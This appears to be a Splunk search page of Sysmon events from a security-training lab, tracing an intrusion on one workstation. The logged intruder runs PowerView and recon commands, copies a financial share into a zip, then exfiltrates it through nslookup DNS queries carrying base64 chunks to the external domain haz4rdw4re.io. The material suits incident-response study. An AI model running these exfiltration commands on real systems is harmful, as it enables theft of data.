New Search

```
1  sourcetype=_json datasource=sysmon
```

Last 24 hours

✓ **147 events** (12/13/25 5:00:00.000 AM to 12/14/25 5:19:01.000 AM) No Event Sampling

Events (147)

Format Timeline 1 hour per column

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
a datasource 1
a event.action 7
event.code 7
a host.name 13
a index 1
linecount 1
a process.command_line 41
a process.name 24
a process.parent.name 9
process.parent.pid 46
process.pid 100+
a process.working_directory 15
a punct 2
a registry.key 14
a registry.path 14
a registry.value 3
a splunk_server 1
a timestamp 100+

5 more fields

+ Extract New Fields (/en-US/app/search/field_extractor?sid=1765689541.248)

Time	Event
12/14/25 5:03:11.369 AM	{ [-] **datasource**: sysmon **event.action**: Process Create (rule: ProcessCreate) **event.code**: 1 **host.name**: win-3456 **process.command_line**: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:00000000000000000 **process.name**: rundll32.exe **process.parent.name**: iexplore.exe **process.parent.pid**: 3937 **process.pid**: 3829 **process.working_directory**: C:\Users\safa.prince\Desktop\ **timestamp**: 12/14/2025 05:03:11.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:03:09.369 AM	{ [-] **datasource**: sysmon **event.action**: Registry value set (rule: RegistryEvent) **event.code**: 13 **host.name**: win-3452 **process.pid**: 3764 **registry.key**: System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName **registry.path**: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName **registry.value**: FriendlyName **timestamp**: 12/14/2025 05:03:09.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:03:09.369 AM	{ [-] datasource: sysmon event.action: Registry object added or deleted (rule: RegistryEvent) event.code: 12 host.name: win-3450 process.name: spoolsv.exe process.pid: 3824 registry.key: System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion registry.path: HKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion registry.value: DriverVersion timestamp: 12/14/2025 05:03:09.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:52.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3449 process.command_line: "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding process.name: iexplore.exe process.parent.pid: 3987 process.pid: 3903 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 05:02:52.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:29.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.15 dns.question.name: mailsrv-01.tryhatme.com dns.resolved_ip: 172.16.1.15 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3452 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3968 timestamp: 12/14/2025 05:02:29.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:01:22.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3456 process.pid: 3878 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:01:22.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:01:10.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3458 process.name: spoolsv.exe process.pid: 3613 registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:01:10.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:01:08.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3453 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3821 timestamp: 12/14/2025 05:01:08.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:30.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3455 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3851 timestamp: 12/14/2025 05:00:30.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:16.369 AM	{ [-] datasource: sysmon event.action: Registry object added or deleted (rule: RegistryEvent) event.code: 12 host.name: win-3453 process.name: spoolsv.exe process.pid: 3888 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:00:16.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:00:06.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3451 process.name: spoolsv.exe process.pid: 3623 registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:00:06.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:02.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3457 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3814 timestamp: 12/14/2025 05:00:02.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:40.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3648 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:59:40.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:40.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3700 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:59:40.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3454 process.command_line: atbroker.exe process.name: AtBroker.exe process.parent.name: winlogon.exe process.parent.pid: 3677 process.pid: 3861 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5696 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3800 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5432 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 6604 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3952 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5704 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 4752 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5520 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:13.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3458 process.command_line: "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent process.name: sethc.exe process.parent.name: AtBroker.exe process.parent.pid: 3846 process.pid: 3721 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:59:13.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:58:55.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip host.name: win-3450 process.name: powershell.exe process.pid: 3728 timestamp: 12/14/2025 04:58:55.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:58:52.369 AM	{ [-] datasource: sysmon event.action: Registry object added or deleted (rule: RegistryEvent) event.code: 12 host.name: win-3452 process.name: spoolsv.exe process.pid: 3524 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{9A7D6000-6360-4067-AFEC-3F8722701AC5}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{9A7D6000-6360-4067-AFEC-3F8722701AC5}\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 04:58:52.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:58:37.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\net.exe" use Z: /delete process.name: net.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 8004 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:58:37.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:58:26.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E process.name: Robocopy.exe process.parent.name: powershell.exe process.parent.pid: 3,728 process.pid: 8356 process.working_directory: Z:\ timestamp: 12/14/2025 04:58:26.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:58:26.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\Downloads\exfiltration\InvestorPresentation2023.pptx host.name: win-3450 process.name: Robocopy.exe process.pid: 8356 timestamp: 12/14/2025 04:58:26.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:58:26.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\Downloads\exfiltration\ClientPortfolioSummary.xlsx host.name: win-3450 process.name: Robocopy.exe process.pid: 8356 timestamp: 12/14/2025 04:58:26.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:57:39.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords process.name: net.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5784 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:57:39.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:57:39.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3459 process.command_line: "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent process.name: sethc.exe process.parent.name: AtBroker.exe process.parent.pid: 3531 process.pid: 3846 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:57:39.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:57:32.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\Downloads\exfiltration host.name: win-3450 process.name: powershell.exe process.pid: 3728 timestamp: 12/14/2025 04:57:32.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:56:56.369 AM	{ [-] datasource: sysmon event.action: Registry object added or deleted (rule: RegistryEvent) event.code: 12 host.name: win-3449 process.name: spoolsv.exe process.pid: 3901 registry.key: System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0004\DriverVersion registry.path: HKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0004\DriverVersion registry.value: DriverVersion timestamp: 12/14/2025 04:56:56.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:56:55.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3451 process.command_line: taskhostw.exe KEYROAMING process.name: taskhostw.exe process.parent.name: svchost.exe process.parent.pid: 3531 process.pid: 3870 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:56:55.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:56:25.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3459 process.command_line: "LogonUI.exe" /flags:0x0 /state0:0xb5731855 /state1:0x41c64e6d process.name: LogonUI.exe process.parent.name: winlogon.exe process.parent.pid: 3821 process.pid: 3532 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:56:25.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:55:58.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_b1baaotg.vsb.ps1 host.name: win-3450 process.name: powershell.exe process.pid: 3728 timestamp: 12/14/2025 04:55:58.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:55:44.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\Downloads\PowerView.ps1 host.name: win-3450 process.name: powershell.exe process.pid: 9060 timestamp: 12/14/2025 04:55:44.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:55:33.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3457 process.command_line: "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" process.name: OUTLOOK.EXE process.parent.name: explorer.exe process.parent.pid: 3888 process.pid: 3572 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:55:33.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:55:18.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: C:\Windows\system32\net1 localgroup process.name: net1.exe process.parent.name: net.exe process.parent.pid: 892 process.pid: 6576 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:55:18.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:55:18.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\net.exe" localgroup process.name: net.exe process.parent.name: powershell.exe process.parent.pid: 9060 process.pid: 892 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:55:18.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:55:11.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\net.exe" user process.name: net.exe process.parent.name: powershell.exe process.parent.pid: 9060 process.pid: 7336 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:55:11.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:55:11.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: C:\Windows\system32\net1 user process.name: net1.exe process.parent.name: net.exe process.parent.pid: 7336 process.pid: 7796 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:55:11.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:55:05.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\whoami.exe" /priv process.name: whoami.exe process.parent.name: powershell.exe process.parent.pid: 9060 process.pid: 4016 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:55:05.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:54:57.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\whoami.exe" process.name: whoami.exe process.parent.name: powershell.exe process.parent.pid: 9060 process.pid: 8168 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:54:57.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:54:49.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\systeminfo.exe" process.name: systeminfo.exe process.parent.name: powershell.exe process.parent.pid: 9060 process.pid: 3524 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:54:49.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:54:40.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3455 process.command_line: C:\Windows\System32\mousocoreworker.exe -Embedding process.name: MoUsoCoreWorker.exe process.parent.pid: 3604 process.pid: 3747 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:54:40.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:54:36.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_saoz2amx.mg5.ps1 host.name: win-3450 process.name: powershell.exe process.pid: 6492 timestamp: 12/14/2025 04:54:36.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:54:36.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_hnpvwg1v.3mr.ps1 host.name: win-3450 process.name: powershell.exe process.pid: 9060 timestamp: 12/14/2025 04:54:36.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:54:34.369 AM	{ [-] datasource: sysmon event.action: File created (rule: FileCreate) event.code: 11 file.path: C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_tuwnh53e.jfw.ps1 host.name: win-3450 process.name: powershell.exe process.pid: 3880 timestamp: 12/14/2025 04:54:34.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json